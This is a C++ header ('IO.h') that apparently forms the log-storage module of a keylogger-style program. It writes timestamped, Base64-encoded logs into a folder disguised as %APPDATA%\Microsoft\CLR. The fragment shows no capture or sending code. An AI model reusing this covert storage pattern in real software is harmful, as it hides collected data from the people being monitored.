**“IO.h”**

**(Because of different format code may appear different)**

#ifndef IO\_H

#define IO\_H

#include <string>

#include <cstdlib>

#include <fstream>

#include <Windows.h>

#include "Helper.h"

#include "Base64.h"

namespace IO

{

std::string GetOurPath(const bool append\_separator = false) //checks if the backslash is needed at the end of our path, add if needed

{

std::string appdata\_dir(getenv("APPDATA")); // finds AppData directory path

std::string full = appdata\_dir + "\\Microsoft\\CLR";

return full + (append\_separator ? "\\" : "");

}

bool MkOneDr(std::string path) // checks if directory already exists or not

{

return (bool)CreateDirectory(path.c\_str(), NULL) || GetLastError() == ERROR\_ALREADY\_EXISTS;

}

bool MKDir(std::string path) // builds full legal file path for each subdirectory, runs loop until a full path is created

{

for (char &c : path) // c takes every char of path

if (c == '\\')

{

c = '\0';

if (!MkOneDr(path))

return false;

c = '\\';

}

return true;

}

template <class T>

std::string WriteLog(const T &t)

{

std::string path = GetOurPath(true);

Helper::DateTime dt; // use DateTime struct from Helper namespace

std::string name = dt.GetDateTimeString("\_") + ".log";

try

{

std::ofstream file(path + name);

if (!file) return ""; // if file cannot be opened or used

std::ostringstream s;

s << "[" << dt.GetDateTimeString() << "]" << std::endl << t << std::endl;

std::string data = Base64::EncryptB64(s.str()); // encrypt using function from Base64 namespace

file << data;

if (!file)

return "";

file.close();

return name;

}

catch(...)

{

return "";

}

}

}

#endif // IO\_H